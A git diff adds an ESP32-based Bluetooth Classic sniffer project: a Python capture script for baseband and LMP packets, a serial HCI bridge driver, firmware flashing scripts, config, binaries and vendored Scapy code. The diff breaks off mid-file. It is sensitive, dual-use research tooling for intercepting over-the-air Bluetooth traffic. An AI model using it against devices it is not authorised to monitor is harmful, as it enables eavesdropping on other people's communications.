diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..b1bd130 --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ + +firmware/.pio/ + +libs/__pycache__/ + +*__pycache__* \ No newline at end of file diff --git a/BTSnifferBREDR.py b/BTSnifferBREDR.py new file mode 100755 index 0000000..594d77b --- /dev/null +++ b/BTSnifferBREDR.py @@ -0,0 +1,217 @@ +#!/usr/bin/python3 +import os +import sys +import _ctypes +import ctypes +import _thread +import colorama +import subprocess +import random +import signal +from threading import Thread +from time import sleep +from colorama import Fore, init + +sys.path.insert(0, os.getcwd() + '/libs') + +from scapy.layers.bluetooth import HCI_Hdr, BT_ACL_Hdr, HCI_PHDR_Hdr, BT_LMP, BT_Baseband +from scapy.utils import wrpcap, PcapWriter +from ESP32BTDriver import ESP32BTDriver + + +init(autoreset=True) + + +class SnifferBREDR: + TAG = 'Sniffer' + working_dir = None + packets = [] + wireshark_process = None + fifo_file = '/tmp/fifocap.fifo' + pcap_filename = 'capture_bluetooth.pcap' + save_pcap = False + pcap_fifo_writer = None + pcap_writer = None + wireshark_started = False + + driver = None # type: ESP32BTDriver + run_driver = True + serial_port = None + serial_baud = None + serial_thread = None + bridge_hci = True + bt_program = None + bt_program_thread = None + bt_program_run = True + bt_program_process = None + + # BT Vars + tx_packets = 0 + rx_packets = 0 + remote_address = b'a8:96:75:25:c2:ac' + + # Constructor + def __init__(self, + serial_port=None, + serial_baud=4000000, + start_wireshark=False, + save_pcap=True, + pcap_filename=None, + bridge_hci=True, + bt_program=None): + + self.serial_port = serial_port + self.serial_baud = serial_baud + self.save_pcap = save_pcap + self.bridge_hci = bridge_hci + + if pcap_filename: + self.pcap_filename = pcap_filename + + if bt_program: + self.bt_program = bt_program + + if start_wireshark: + try: + os.remove(self.fifo_file) + except: + pass + os.mkfifo(self.fifo_file) + try: + self.l('[!] Starting Wireshark...') + self.wireshark_process = subprocess.Popen( + ['wireshark', '-k', '-i', self.fifo_file]) + self.pcap_fifo_writer = PcapWriter(self.fifo_file, sync=True) + self.wireshark_started = True + except Exception as e: + self.error('Wireshark could not start: ' + str(e)) + + if save_pcap: + self.pcap_writer = PcapWriter(self.pcap_filename, sync=True) + if sys.platform == 'linux': + os.system('chmod o+rw ' + self.pcap_filename) + + def signal_handler(self, signal, frame): + self.error('You pressed Ctrl+C - or killed me with -2') + exit(0) + # sys.exit(0) + + # Logs + + def l(self, msg): + print(Fore.YELLOW + '[' + self.TAG + '] ' + msg) + + def error(self, msg): + print(Fore.RED + '[Error:' + self.TAG + '] ' + msg) + + # Main functions + def start(self): + + if self.bridge_hci or self.bt_program is None: + self.driver = ESP32BTDriver(self.serial_port, self.serial_baud) + self.driver.enable_sniffing(1) + self.driver.disable_poll_null(1) + print(Fore.GREEN + 'ESP32BT driver started on ' + + self.serial_port + '@' + str(self.serial_baud)) + + self.serial_thread = Thread(target=self.uart_rx_handler) + self.serial_thread.daemon = True + self.serial_thread.start() + + if self.bt_program is not None: + self.bt_program_thread = Thread(target=self.bt_program_handler) + self.bt_program_thread.daemon = True + self.bt_program_thread.start() + + @staticmethod + def skip_slashes(summary_text, idx): + return '/'.join(summary_text.split('/')[idx:]) + + def bt_program_handler(self): + if self.bridge_hci: + p_name = self.driver.serial_bridge_name + else: + p_name = self.serial_port + + print('Starting ' + self.bt_program + ' -u ' + p_name) + process = subprocess.Popen([self.bt_program, '-u', p_name], + # stdin=subprocess.PIPE, + # stdout=subprocess.PIPE, + # stderr=subprocess.PIPE + ) + self.bt_program_process = process + + while self.bt_program_run: + sleep(1) + + rc = process.poll() + return rc + + def uart_rx_handler(self): + + while self.run_driver: + # Receive packet from the NRF52 Dongle + data = self.driver.raw_receive() + if data: + # Decode Bluetooth Low Energy Data + pkt = BT_Baseband(data) + if pkt: + summary = pkt.summary() + direction = self.driver.direction + if direction == 1: + # print('R:' + summary) + self.log_rx(summary) + self.rx_packets += 1 + elif direction == 0: + + if BT_LMP in pkt: + # print('T:' + summary) + pkt = BT_ACL_Hdr(data) + + self.log_tx(summary) + self.tx_packets += 1 + + # self.update_summary(self.tx_packets, self.rx_packets) + + # Pipe/Save pcap + hci_pkt = HCI_PHDR_Hdr( + direction=direction) / HCI_Hdr(type=8) / pkt + if self.wireshark_started is True: + self.pcap_fifo_writer.write(hci_pkt) + if self.save_pcap is True: + self.pcap_writer.write(hci_pkt) + + @staticmethod + def decode_address(addr): + return bytes.fromhex(''.join(addr.split(':'))) + + def log_tx(self, log_message): + print(Fore.CYAN + 'TX --> ' + log_message) + + def log_rx(self, log_message): + print(Fore.GREEN + 'RX <-- ' + log_message) + + def update_summary(self, tx_pkts, rx_pkts): + self.log_summary('TX packets: ' + str(tx_pkts)) + self.log_summary('RX Packets: ' + str(rx_pkts)) + self.log_summary('BT Clock: ' + str(self.driver.event_counter)) + + +Sniffer = SnifferBREDR(serial_port='/dev/ttyUSB1', + serial_baud=4000000, + start_wireshark=False, + bt_program='./bin/spp_counter', + ) +Sniffer.start() + +try: + while True: + sleep(1) + +except KeyboardInterrupt: + if Sniffer.save_pcap: + print(Fore.GREEN + 'Capture saved on capture_bluetooth.pcap') + + if Sniffer.bt_program_process is not None: + Sniffer.bt_program_process.kill() + print(Fore.YELLOW + 'BT Program finished') diff --git a/README.md b/README.md index 1dc4fdc..7b60b45 100644 --- a/README.md +++ b/README.md @@ -1 +1,2 @@ -esp32_bluetooth_classic_sniffer +# ESP32 BR/EDR Active Sniffer + diff --git a/bin/libbtstack.so b/bin/libbtstack.so new file mode 100755 index 0000000..2312c01 Binary files /dev/null and b/bin/libbtstack.so differ diff --git a/bin/sdp_bnep_query b/bin/sdp_bnep_query new file mode 100755 index 0000000..aaff518 Binary files /dev/null and b/bin/sdp_bnep_query differ diff --git a/bin/sdp_general_query b/bin/sdp_general_query new file mode 100755 index 0000000..08cfa8a Binary files /dev/null and b/bin/sdp_general_query differ diff --git a/bin/sdp_rfcomm_query b/bin/sdp_rfcomm_query new file mode 100755 index 0000000..8de05fe Binary files /dev/null and b/bin/sdp_rfcomm_query differ diff --git a/bin/spp_counter b/bin/spp_counter new file mode 100755 index 0000000..e914ed1 Binary files /dev/null and b/bin/spp_counter differ diff --git a/capture_bluetooth.pcap b/capture_bluetooth.pcap new file mode 100644 index 0000000..6a8cfc2 Binary files /dev/null and b/capture_bluetooth.pcap differ diff --git a/firmware/PlatformioScripts.py b/firmware/PlatformioScripts.py new file mode 100755 index 0000000..1b485a7 --- /dev/null +++ b/firmware/PlatformioScripts.py @@ -0,0 +1,37 @@ +Import("env") +import os +from firmware import reset_firmware + +if os.path.isfile('BTPatcher.py'): + from BTPatcher import patch_esp32 + + + def run_patch(target, source, env): + patch_esp32(str(target[0])) + + + env.AddPostAction("$BUILD_DIR/${PROGNAME}.elf", [run_patch]) + + +def before_upload(target, source, env): + do_reset = env.GetProjectOption("reset_before_after_flash", default='false') + if 'true' in do_reset: + monitor_port = env.GetProjectOption("monitor_port", default=None) + if monitor_port: + try: + reset_firmware(monitor_port) + except Exception as err: + print(err) + +def after_upload(target, source, env): + do_reset = env.GetProjectOption("reset_before_after_flash", default='false') + if 'true' in do_reset: + monitor_port = env.GetProjectOption("monitor_port", default=None) + if monitor_port: + try: + reset_firmware(monitor_port) + except Exception as err: + print(err) + +env.AddPreAction("upload", [before_upload]) +env.AddPostAction("upload", [after_upload]) \ No newline at end of file diff --git a/firmware/bootloader.bin b/firmware/bootloader.bin new file mode 100644 index 0000000..0333637 Binary files /dev/null and b/firmware/bootloader.bin differ diff --git a/firmware/firmware.bin b/firmware/firmware.bin new file mode 100644 index 0000000..527ad6f Binary files /dev/null and b/firmware/firmware.bin differ diff --git a/firmware/firmware.py b/firmware/firmware.py new file mode 100755 index 0000000..8801e16 --- /dev/null +++ b/firmware/firmware.py @@ -0,0 +1,198 @@ +#!/usr/bin/env python3 + +import sys +import os +import subprocess +import shutil +import platform +from time import sleep +from pathlib import Path +from hashlib import sha1 +from urllib.request import urlretrieve +from zipfile import ZipFile, ZIP_DEFLATED + +args = sys.argv[1:] +system_name = platform.system() +is_linux = system_name == 'Linux' or system_name == 'Darwin' +script_path = sys.path[0] +pio_build_path = Path('.pio/build/esp32doit-devkit-v1-serial/') + + +def has_pio(): + if is_linux: + find_cmd = 'which' + else: + find_cmd = 'where' + + result = subprocess.run( + [find_cmd, 'pio'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = result.stdout.decode() + if len(output) > 0 and result.returncode == 0: + return output + return None + + +def is_source_project(): + return os.path.isdir('src') + + +def get_platformio_version(): + result = subprocess.run( + ['pio', '--version'], stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout + return result.split(b' ')[-1].replace(b'\r', b'').replace(b'\n', b'') + + +def get_platformio_config_json(): + return subprocess.run(['pio', 'project', 'config', '--json-output'], + stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.replace(b'\r', b'').replace(b'\n', b'') + + +def generate_project_checksum(): + print('Generating project.checksum') + # PIO Core version changes + checksum = sha1(get_platformio_version()) + # Configuration file state + checksum.update(get_platformio_config_json()) + # Write project checksum + with open(Path('.pio/build/project.checksum'), 'w') as out: + out.write(checksum.hexdigest()) + + +def download_file(url, file_name): + if os.path.isfile(file_name): + return + + def ProgressBar(block_num, block_size, total_size): + downloaded = block_num * block_size + if downloaded < total_size: + completed = round((downloaded * 100) / total_size, 2) + sys.stdout.write('\r' + str(completed) + '%') + sys.stdout.flush() + else: + print('\nDone') + + print('Downloading ' + file_name + '...') + urlretrieve(url, file_name, reporthook=ProgressBar) + + +def reset_firmware(serial_port): + try: + import serial + except: + print("[ERROR] pyserial module not found, installing now via pip...") + os.system(sys.executable + ' -m pip install pyserial --upgrade') + os.sync() + + # We should have pyserial here + import serial + + ser = serial.Serial(serial_port, 115200, rtscts=False, dsrdtr=False) + ser.rts = True + ser.dtr = True + ser.dtr = False + ser.dtr = True + ser.close() + ser = None + print('Reset Done! EN pin toggled HIGH->LOW->HIGH') + + +def flash_firmware(serial_port): + os.makedirs(pio_build_path, exist_ok=True) + + if not is_source_project(): + generate_project_checksum() + shutil.copyfile('firmware.bin', pio_build_path / 'firmware.bin') + shutil.copyfile('bootloader.bin', pio_build_path / 'bootloader.bin') + shutil.copyfile('partitions.bin', pio_build_path / 'partitions.bin') + elif not os.path.isfile(pio_build_path / 'firmware.bin'): + print('[ERROR] Build project first. Example: ./firmware.py build') + exit(1) + + print('Flashing firmware...') + os.system('pio run -e esp32doit-devkit-v1-serial -v -t nobuild -t upload --upload-port ' + + serial_port) + + +if __name__ == "__main__": + # Change working dir to script path + os.chdir(script_path) + enable_build = is_source_project() + home_path = str(Path.home()) + + if is_linux: + # Fix locale + os.environ['LC_ALL'] = 'C.UTF-8' + os.environ['LANG'] = 'C.UTF-8' + + if not has_pio(): + # Try adding platformio bin folder to path environment + if is_linux: + os.environ['PATH'] = home_path + \ + '/.platformio/penv/bin/:' + os.environ['PATH'] + elif platform.system() == 'Windows': + os.environ['Path'] = home_path + \ + '\\.platformio\\penv\\Scripts;' + os.environ['Path'] + # install platformio if not present on system + if not has_pio(): + print('Platformio not found, installing now...') + download_file( + 'https://raw.githubusercontent.com/platformio/platformio-core-installer/master/get-platformio.py', + 'get-platformio.py') + os.system(sys.executable + ' get-platformio.py') + + # Handle arguments + if len(args): + + for i, arg in enumerate(args): + if 'build' in arg and enable_build: + print('Building firmware from source...') + os.system('pio run -e esp32doit-devkit-v1-serial') + os.makedirs('release', exist_ok=True) + shutil.copyfile(pio_build_path / 'firmware.bin', + Path('release/firmware.bin')) + shutil.copyfile(pio_build_path / 'bootloader.bin', + Path('release/bootloader.bin')) + shutil.copyfile(pio_build_path / 'partitions.bin', + Path('release/partitions.bin')) + shutil.copyfile('PlatformioScripts.py', Path( + 'release/PlatformioScripts.py')) + shutil.copyfile('platformio.ini', Path( + 'release/platformio.ini')) + shutil.copyfile('firmware.py', Path('release/firmware.py')) + # Create a ZipFile Object + with ZipFile(Path('release/esp32driver.zip'), 'w', ZIP_DEFLATED) as zipObj: + # Add multiple files to the zip + zipObj.write(Path('release/firmware.bin')) + zipObj.write(Path('release/bootloader.bin')) + zipObj.write(Path('release/partitions.bin')) + zipObj.write(Path('release/PlatformioScripts.py')) + zipObj.write(Path('release/platformio.ini')) + zipObj.write(Path('release/firmware.py')) + exit(0) + + elif 'clean' in arg and enable_build: + os.system('pio run -v -t clean') + + elif 'flash' in arg: + if len(args) < i + 2: + print( + '[ERROR] Missing serial port argument. Example: ./firmware.py flash /dev/ttyUSB0') + exit(1) + flash_firmware(args[i + 1]) + exit(0) + + elif 'reset' in arg: + if len(args) < i + 2: + print( + '[ERROR] Missing serial port argument. Example: ./firmware.py flash /dev/ttyUSB0') + exit(1) + reset_firmware(args[i + 1]) + exit(0) + + # Print usage + print('------ Usage help -------') + if enable_build: + print('./firmware.py build # Build firmware using platformio and distribute it to release folder') + print('./firmware.py clean # Clean firmware build files') + print('./firmware.py flash # Flash firmware using serial port') + print('./firmware.py reset # Reset firmware using serial port') diff --git a/firmware/partitions.bin b/firmware/partitions.bin new file mode 100644 index 0000000..b8fa03b Binary files /dev/null and b/firmware/partitions.bin differ diff --git a/firmware/platformio.ini b/firmware/platformio.ini new file mode 100644 index 0000000..e06a3b2 --- /dev/null +++ b/firmware/platformio.ini @@ -0,0 +1,50 @@ +; PlatformIO Project Configuration File +; +; Build options: build flags, source filter +; Upload options: custom upload port, speed and extra flags +; Library options: dependencies, extra library storages +; Advanced options: extra scripting +; +; Please visit documentation for the other options and examples +; https://docs.platformio.org/page/projectconf.html + +[platformio] +default_envs = esp32doit-devkit-v1-jtag + + +[env:esp32doit-devkit-v1-jtag] +platform = espressif32@3.0.0 +board = esp32doit-devkit-v1 +board_build.f_flash = 40000000L +framework = espidf +platform_packages = + tool-openocd-esp32@2.1000.20201202 ; Updated openocd for jtag debugging on wrover-kit + toolchain-xtensa32@2.80400.210211 ; Updated toolchain for esp32 + framework-espidf@3.40001.200521 ; ESP-IDF 4.0.1 +debug_tool = esp-prog +upload_protocol = esp-prog +debug_speed = 26000 ; Set JTAG to 26000Khz +upload_port = /dev/ttyUSB1 +monitor_port = /dev/ttyUSB1 +monitor_speed = 4000000 +monitor_filters = colorize, esp32_exception_decoder +build_flags = -w +extra_scripts = post:PlatformioScripts.py +reset_before_after_flash = true + +[env:esp32doit-devkit-v1-serial] +platform = espressif32@3.0.0 +board = esp32doit-devkit-v1 +framework = espidf +platform_packages = + toolchain-xtensa32@2.80400.210211 ; Updated toolchain for esp32 + framework-espidf@3.40001.200521 ; ESP-IDF 4.0.1 +upload_protocol = esptool +upload_port = /dev/ttyUSB1 +monitor_port = /dev/ttyUSB1 +monitor_speed = 4000000 +monitor_filters = colorize, esp32_exception_decoder +build_flags = -w +upload_command = $PYTHONEXE $UPLOADER --chip esp32 --port $UPLOAD_PORT --baud 460800 --before default_reset --after hard_reset write_flash -z --flash_mode dio --flash_freq 40m --flash_size detect 0x1000 $BUILD_DIR/bootloader.bin 0x8000 $BUILD_DIR/partitions.bin 0x10000 $BUILD_DIR/firmware.bin +extra_scripts = post:PlatformioScripts.py +reset_before_after_flash = true diff --git a/hci_dump.pklg b/hci_dump.pklg new file mode 100644 index 0000000..5ba1cf0 Binary files /dev/null and b/hci_dump.pklg differ diff --git a/libs/ESP32BTDriver.py b/libs/ESP32BTDriver.py new file mode 100755 index 0000000..14ba94e --- /dev/null +++ b/libs/ESP32BTDriver.py @@ -0,0 +1,164 @@ +from binascii import hexlify +from colorama import Fore +import binascii +import os +import sys +import pty +import subprocess +import serial +import tty +import time +import ctypes +import serial.tools.list_ports +from threading import Thread + + +class ConnectionStatus(ctypes.LittleEndianStructure): + _fields_ = [ + ("clock", ctypes.c_uint32, 8*4), + ("channel", ctypes.c_uint8, 8), + ("ptt", ctypes.c_uint8, 1), + ("role", ctypes.c_uint8, 1), + ("custom_lmp", ctypes.c_uint8, 1), + ("retry_flag", ctypes.c_uint8, 1), + ("intercept_req", ctypes.c_uint8, 1), + ("tx_encrypted", ctypes.c_uint8, 1), + ("rx_encrypted", ctypes.c_uint8, 1), + ("is_eir", ctypes.c_uint8, 1), + ] + + def getdict(self): + return dict((f, getattr(self, f)) for f, _, _ in self._fields_) + + +# USB Serial commands +ESP32_CMD_DATA_RX = b'\xA7' +ESP32_CMD_DATA_TX = b'\xBB' +ESP32_CMD_CHECKSUM_ERROR = b'\xA8' +ESP32_CMD_CONFIG_AUTO_EMPTY_PDU = b'\xA9' +ESP32_CMD_CONFIG_ACK = b'\xAA' +ESP32_CMD_CONFIG_LOG_TX = b'\xCC' +ESP32_CMD_LOG = b'\x7F' +ESP32_CMD_RESET = b'\x86' +ESP32_CMD_VERSION = b'\xEE' +ESP32_CMD_ENABLE_LMP_SNIFFING = b'\x81' +ESP32_CMD_DISABLE_POLL_NULL = b'\x89' + +# HCI Codes to bridge +H4_NONE = b'\x00' +H4_CMD = b'\x01' +H4_ACL = b'\x02' +H4_SCO = b'\x03' +H4_EVT = b'\x04' +H4_EVT_HW_ERROR = b'\x10' + + +# Driver class +class ESP32BTDriver: + n_debug = False + n_log = False + logs_pcap = False + event_counter = 0 + pcap_filename = None + pcap_tx_handover = False + sent_pkt = None + direction = None + version = None + status = None # type: ConnectionStatus + + serial_bridge = None + serial_bridge_name = None + serial_hci_thread = None + + # Constructor ------------------------------------ + def __init__(self, port_name=None, baudrate=115200, debug=False, logs=True, logs_pcap=False, pcap_filename=None): + + self.serial = serial.Serial( + port_name, baudrate, rtscts=0, xonxoff=0, timeout=1) + self.logs_pcap = logs_pcap + self.n_log = logs + self.n_debug = debug + + self.get_version() + + if self.n_debug: + print('ESP32: Instance started') + + master, slave = pty.openpty() + self.serial_bridge_name = os.ttyname(slave) + self.serial_bridge = master + tty.setraw(master) + tty.setraw(slave) + print(Fore.GREEN + 'HCI Bridge started on ' + os.ttyname(slave)) + self.serial_hci_thread = Thread(target=self.hci_handler) + self.serial_hci_thread.daemon = True + self.serial_hci_thread.start() + + def close(self): + print('NRF52 Dongle closed') + + # UART functions --------------------------- + + def get_version(self): + self.serial.write(ESP32_CMD_VERSION) + version_string = self.serial.readline() + if version_string and len(version_string): + self.version = version_string.decode('utf-8').split('\n')[0] + print("[ESP32BT] Firmware version: " + self.version) + else: + raise Exception( + "Version not received. Make sure to flash ESP32BT firmware") + + def enable_sniffing(self, val): + self.serial.write(ESP32_CMD_ENABLE_LMP_SNIFFING + bytearray([val])) + + def reset_firmware(self, val): + self.serial.write(ESP32_CMD_RESET + bytearray([0x86, 0xAA])) + + def disable_poll_null(self, val): + self.serial.write(ESP32_CMD_DISABLE_POLL_NULL + bytearray([val])) + self.serial.read(1) + + def hci_handler(self): + while True: + c = os.read(self.serial_bridge, 1) + self.serial.write(c) + + def raw_receive(self): + cmd = self.serial.read(1) + + if cmd == H4_EVT: + opcode = self.serial.read(1) + length = self.serial.read(1) + payload = self.serial.read(ord(length)) + os.write(self.serial_bridge, H4_EVT + opcode + length + payload) + elif cmd == H4_ACL: + opcode = self.serial.read(2) + length = self.serial.read(2) + payload = self.serial.read(length[0] | (length[1] << 8)) + print(payload) + os.write(self.serial_bridge, H4_ACL + opcode + length + payload) + elif cmd == H4_CMD: + opcode = self.serial.read(2) + length = self.serial.read(1) + payload = self.serial.read(ord(length)) + os.write(self.serial_bridge, H4_CMD + opcode + length + payload) + + # Receive BT packets + elif cmd == ESP32_CMD_DATA_RX or cmd == ESP32_CMD_DATA_TX: + raw_sz = self.serial.read(2) + sz = raw_sz[0] | (raw_sz[1] << 8) + data = self.serial.read(sz) + checksum = self.serial.read(1) + # Check data checksum + if (checksum and (sum(data) & 0xFF) == ord(checksum)): + self.status = ConnectionStatus(*data[0:6]) + + if cmd == ESP32_CMD_DATA_RX: + self.direction = 1 + elif cmd == ESP32_CMD_DATA_TX: + self.direction = 0 + + return data[6:] + + return None diff --git a/libs/scapy/VERSION b/libs/scapy/VERSION new file mode 100755 index 0000000..5cc1bf1 --- /dev/null +++ b/libs/scapy/VERSION @@ -0,0 +1 @@ +python2.dev0 \ No newline at end of file diff --git a/libs/scapy/__init__.py b/libs/scapy/__init__.py new file mode 100755 index 0000000..330c3d9 --- /dev/null +++ b/libs/scapy/__init__.py @@ -0,0 +1,119 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Scapy: create, send, sniff, dissect and manipulate network packets. + +Usable either from an interactive console or as a Python library. +https://scapy.net +""" + +import os +import re +import subprocess + +from scapy.compat import AnyStr + + +_SCAPY_PKG_DIR = os.path.dirname(__file__) + + +def _version_from_git_describe(): + # type: () -> AnyStr + """ + Read the version from ``git describe``. It returns the latest tag with an + optional suffix if the current directory is not exactly on the tag. + + Example:: + + $ git describe --always + v2.3.2-346-g164a52c075c8 + + The tag prefix (``v``) and the git commit sha1 (``-g164a52c075c8``) are + removed if present. + + If the current directory is not exactly on the tag, a ``.devN`` suffix is + appended where N is the number of commits made after the last tag. + + Example:: + + >>> _version_from_git_describe() + '2.3.2.dev346' + + :raises CalledProcessError: if git is unavailable + :return: Scapy's latest tag + """ + if not os.path.isdir(os.path.join(os.path.dirname(_SCAPY_PKG_DIR), '.git')): # noqa: E501 + raise ValueError('not in scapy git repo') + + def _git(cmd): + process = subprocess.Popen( + cmd.split(), + cwd=_SCAPY_PKG_DIR, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE + ) + out, err = process.communicate() + if process.returncode == 0: + return out.decode().strip() + else: + raise subprocess.CalledProcessError(process.returncode, err) + + tag = _git("git describe --always") + if not tag.startswith("v"): + # Upstream was not fetched + commit = _git("git rev-list --tags --max-count=1") + tag = _git("git describe --tags --always --long %s" % commit) + match = re.match('^v?(.+?)-(\\d+)-g[a-f0-9]+$', tag) + if match: + # remove the 'v' prefix and add a '.devN' suffix + return '%s.dev%s' % (match.group(1), match.group(2)) + else: + # just remove the 'v' prefix + return re.sub('^v', '', tag) + + +def _version(): + # type: () -> str + """Returns the Scapy version from multiple methods + + :return: the Scapy version + """ + version_file = os.path.join(_SCAPY_PKG_DIR, 'VERSION') + try: + tag = _version_from_git_describe() + # successfully read the tag from git, write it in VERSION for + # installation and/or archive generation. + with open(version_file, 'w') as fdesc: + fdesc.write(tag) + return tag + except Exception: + # failed to read the tag from git, try to read it from a VERSION file + try: + with open(version_file, 'r') as fdsec: + tag = fdsec.read() + return tag + except Exception: + # Rely on git archive "export-subst" git attribute. + # See 'man gitattributes' for more details. + git_archive_id = '$Format:%h %d$' + sha1 = git_archive_id.strip().split()[0] + match = re.search('tag:(\\S+)', git_archive_id) + if match: + return "git-archive.dev" + match.group(1) + elif sha1: + return "git-archive.dev" + sha1 + else: + return 'unknown.version' + + +VERSION = __version__ = _version() + +_tmp = re.search(r"[0-9.]+", VERSION) +VERSION_MAIN = _tmp.group() if _tmp is not None else VERSION + +if __name__ == "__main__": + from scapy.main import interact + interact() diff --git a/libs/scapy/__main__.py b/libs/scapy/__main__.py new file mode 100755 index 0000000..260ac68 --- /dev/null +++ b/libs/scapy/__main__.py @@ -0,0 +1,15 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Scapy: create, send, sniff, dissect and manipulate network packets. + +Usable either from an interactive console or as a Python library. +http://www.secdev.org/projects/scapy +""" + +from scapy.main import interact + +interact() diff --git a/libs/scapy/all.py b/libs/scapy/all.py new file mode 100755 index 0000000..f158a4a --- /dev/null +++ b/libs/scapy/all.py @@ -0,0 +1,52 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Aggregate top level objects from all Scapy modules. +""" + +from scapy.base_classes import * +from scapy.config import * +from scapy.dadict import * +from scapy.data import * +from scapy.error import * +from scapy.themes import * +from scapy.arch import * + +from scapy.plist import * +from scapy.fields import * +from scapy.packet import * +from scapy.asn1fields import * +from scapy.asn1packet import * + +from scapy.utils import * +from scapy.route import * +from scapy.sendrecv import * +from scapy.sessions import * +from scapy.supersocket import * +from scapy.volatile import * +from scapy.as_resolvers import * + +from scapy.automaton import * +from scapy.autorun import * + +from scapy.main import * +from scapy.consts import * +from scapy.compat import raw # noqa: F401 + +from scapy.layers.all import * + +from scapy.asn1.asn1 import * +from scapy.asn1.ber import * +from scapy.asn1.mib import * + +from scapy.pipetool import * +from scapy.scapypipes import * + +if conf.ipv6_enabled: # noqa: F405 + from scapy.utils6 import * # noqa: F401 + from scapy.route6 import * # noqa: F401 + +from scapy.ansmachine import * diff --git a/libs/scapy/ansmachine.py b/libs/scapy/ansmachine.py new file mode 100755 index 0000000..1380624 --- /dev/null +++ b/libs/scapy/ansmachine.py @@ -0,0 +1,131 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Answering machines. +""" + +######################## +# Answering machines # +######################## + +from __future__ import absolute_import +from __future__ import print_function +from scapy.sendrecv import send, sniff +from scapy.config import conf +from scapy.error import log_interactive +import scapy.modules.six as six + + +class ReferenceAM(type): + def __new__(cls, name, bases, dct): + obj = super(ReferenceAM, cls).__new__(cls, name, bases, dct) + if obj.function_name: + globals()[obj.function_name] = lambda obj=obj, *args, **kargs: obj(*args, **kargs)() # noqa: E501 + return obj + + +class AnsweringMachine(six.with_metaclass(ReferenceAM, object)): + function_name = "" + filter = None + sniff_options = {"store": 0} + sniff_options_list = ["store", "iface", "count", "promisc", "filter", "type", "prn", "stop_filter"] # noqa: E501 + send_options = {"verbose": 0} + send_options_list = ["iface", "inter", "loop", "verbose"] + send_function = staticmethod(send) + + def __init__(self, **kargs): + self.mode = 0 + if self.filter: + kargs.setdefault("filter", self.filter) + kargs.setdefault("prn", self.reply) + self.optam1 = {} + self.optam2 = {} + self.optam0 = {} + doptsend, doptsniff = self.parse_all_options(1, kargs) + self.defoptsend = self.send_options.copy() + self.defoptsend.update(doptsend) + self.defoptsniff = self.sniff_options.copy() + self.defoptsniff.update(doptsniff) + self.optsend, self.optsniff = [{}, {}] + + def __getattr__(self, attr): + for dct in [self.optam2, self.optam1]: + if attr in dct: + return dct[attr] + raise AttributeError(attr) + + def __setattr__(self, attr, val): + mode = self.__dict__.get("mode", 0) + if mode == 0: + self.__dict__[attr] = val + else: + [self.optam1, self.optam2][mode - 1][attr] = val + + def parse_options(self): + pass + + def parse_all_options(self, mode, kargs): + sniffopt = {} + sendopt = {} + for k in list(kargs): # use list(): kargs is modified in the loop + if k in self.sniff_options_list: + sniffopt[k] = kargs[k] + if k in self.send_options_list: + sendopt[k] = kargs[k] + if k in self.sniff_options_list + self.send_options_list: + del kargs[k] + if mode != 2 or kargs: + if mode == 1: + self.optam0 = kargs + elif mode == 2 and kargs: + k = self.optam0.copy() + k.update(kargs) + self.parse_options(**k) + kargs = k + omode = self.__dict__.get("mode", 0) + self.__dict__["mode"] = mode + self.parse_options(**kargs) + self.__dict__["mode"] = omode + return sendopt, sniffopt + + def is_request(self, req): + return 1 + + def make_reply(self, req): + return req + + def send_reply(self, reply): + self.send_function(reply, **self.optsend) + + def print_reply(self, req, reply): + print("%s ==> %s" % (req.summary(), reply.summary())) + + def reply(self, pkt): + if not self.is_request(pkt): + return + reply = self.make_reply(pkt) + self.send_reply(reply) + if conf.verb >= 0: + self.print_reply(pkt, reply) + + def run(self, *args, **kargs): + log_interactive.warning("run() method deprecated. The instance is now callable") # noqa: E501 + self(*args, **kargs) + + def __call__(self, *args, **kargs): + optsend, optsniff = self.parse_all_options(2, kargs) + self.optsend = self.defoptsend.copy() + self.optsend.update(optsend) + self.optsniff = self.defoptsniff.copy() + self.optsniff.update(optsniff) + + try: + self.sniff() + except KeyboardInterrupt: + print("Interrupted by user") + + def sniff(self): + sniff(**self.optsniff) diff --git a/libs/scapy/arch/__init__.py b/libs/scapy/arch/__init__.py new file mode 100755 index 0000000..8309a5d --- /dev/null +++ b/libs/scapy/arch/__init__.py @@ -0,0 +1,95 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Operating system specific functionality. +""" + +from __future__ import absolute_import +import socket + +from scapy.consts import LINUX, SOLARIS, WINDOWS, BSD +from scapy.error import Scapy_Exception +from scapy.config import conf, _set_conf_sockets +from scapy.pton_ntop import inet_pton, inet_ntop +from scapy.data import ARPHDR_ETHER, ARPHDR_LOOPBACK, IPV6_ADDR_GLOBAL +from scapy.compat import orb + + +def str2mac(s): + return ("%02x:" * 6)[:-1] % tuple(orb(x) for x in s) + + +if not WINDOWS: + if not conf.use_pcap: + from scapy.arch.bpf.core import get_if_raw_addr + + +def get_if_addr(iff): + return inet_ntop(socket.AF_INET, get_if_raw_addr(iff)) + + +def get_if_hwaddr(iff): + addrfamily, mac = get_if_raw_hwaddr(iff) # noqa: F405 + if addrfamily in [ARPHDR_ETHER, ARPHDR_LOOPBACK]: + return str2mac(mac) + else: + raise Scapy_Exception("Unsupported address family (%i) for interface [%s]" % (addrfamily, iff)) # noqa: E501 + + +# Next step is to import following architecture specific functions: +# def get_if_raw_hwaddr(iff) +# def get_if_raw_addr(iff): +# def get_if_list(): +# def get_working_if(): +# def attach_filter(s, filter, iface): +# def set_promisc(s,iff,val=1): +# def read_routes(): +# def read_routes6(): +# def get_if(iff,cmd): +# def get_if_index(iff): + +if LINUX: + from scapy.arch.linux import * # noqa F403 +elif BSD: + from scapy.arch.unix import read_routes, read_routes6, in6_getifaddr # noqa: F401, E501 + from scapy.arch.bpf.core import * # noqa F403 + if not 